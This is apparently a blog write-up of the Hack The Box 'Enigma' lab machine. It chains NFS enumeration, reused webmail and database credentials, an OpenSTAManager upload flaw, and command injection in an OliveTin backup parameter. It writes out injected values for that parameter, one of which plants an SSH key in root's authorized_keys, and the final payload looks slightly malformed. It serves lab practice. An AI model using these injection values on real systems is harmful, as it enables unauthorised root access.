DEV Community

Cover image for HTB-Enigma Writeup
Muhammad Saad
Muhammad Saad

Posted on

HTB-Enigma Writeup

#security #hackthebox #cybersecurity #writeup

Enigma is an easy Linux machine on Hack The Box that requires chaining network file sharing, email enumeration, and local misconfigurations to achieve full system compromise.

Active Recon 

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.129.139.137 > enigma_nmap.txt
Enter fullscreen mode Exit fullscreen mode 
Open ports:
80, 110, 111, 143, 993, 995, 2049, 41393, 43313, 46985, 54279, 56515
Enter fullscreen mode Exit fullscreen mode 
Interesting service:
2049/tcp open  nfs  3-4 (RPC #100003)
Enter fullscreen mode Exit fullscreen mode

NFS Enumeration 

showmount -e enigma.htb

Export list for enigma.htb: 
/srv/nfs/onboarding *
Enter fullscreen mode Exit fullscreen mode 
Mount the NFS share:

sudo mkdir /mnt/enigma 
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
ls -la /mnt/enigma

-rw-r--r-- 1 root root 1751 Feb 20 2026 New_Employee_Access.pdf
Enter fullscreen mode Exit fullscreen mode 
The PDF contained webmail credentials:

URL:      http://mail001.enigma.htb
Username: kevin
Password: *******
Enter fullscreen mode Exit fullscreen mode 
From Kevin's mailbox, additional username was also discovered: sarah
Enter fullscreen mode Exit fullscreen mode

Initial Access 

The same password worked for Sarah's mailbox:

Username: sarah
Password: ******
Enter fullscreen mode Exit fullscreen mode 
Sarah's mailbox contained an OpenSTAManager access request:

URL:      http://support_001.enigma.htb
Username: admin
Password: ******
Enter fullscreen mode Exit fullscreen mode 
OpenSTAManager was running: Version: 2.9.8 (R5ff39df9b)

The application was vulnerable to file upload exploitation via:
CVE-2025-69212

This resulted in command execution as:
www-data
Enter fullscreen mode Exit fullscreen mode

Low-Privilege Enumeration 

After obtaining www-data, local listening services were enumerated:
ss -lntp

Interesting services:
127.0.0.1:3306
127.0.0.1:1337
Enter fullscreen mode Exit fullscreen mode 
MySQL credentials were found in the OpenSTAManager configuration:
cat /var/www/html/openstamanager/config.inc.php

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = '*******';
Enter fullscreen mode Exit fullscreen mode 
Connect to MySQL: mysql -h 127.0.0.1 -u brollin -p

USE openstamanager;
The zz_users table contained the haris user's password hash.
After cracking the hash, the credentials were discovered.
SSH access was then obtained as haris.
cat /home/haris/user.txt
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation 

The service running on port 1337 was identified as OliveTin.
curl 127.0.0.1:1337
Enter fullscreen mode Exit fullscreen mode 
Since the service was bound to localhost, an SSH tunnel was created:
ssh -L 1337:127.0.0.1:1337 haris@enigma.htb
Enter fullscreen mode Exit fullscreen mode 
OliveTin configuration: cat /etc/OliveTin/config.yaml

The configuration contained a Backup Database action:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
Enter fullscreen mode Exit fullscreen mode 
The db_pass parameter was vulnerable to command injection.

A harmless proof-of-concept was used first: test'; id > /tmp/olivetin_poc; echo '

Then: cat /tmp/olivetin_poc

uid=0(root) gid=0(root) groups=0(root)
This confirmed command execution as root.
Enter fullscreen mode Exit fullscreen mode

Root Access 

Generate an SSH key on Kali:

ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub

The public key was injected through the vulnerable db_pass parameter:

test'; mkdir -p /root/.ssh; echo '<YOUR_PUBLIC_KEY>' >> /root/.ssh/authorized_keys; chmod 600 echo '
Enter fullscreen mode Exit fullscreen mode 
Then connect as root:

ssh -i ~/.ssh/id_ed25519 root@10.129.139.137
whoami
root

Finally: cat /root/root.txt

Root obtained.
Enter fullscreen mode Exit fullscreen mode

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

Top comments (0)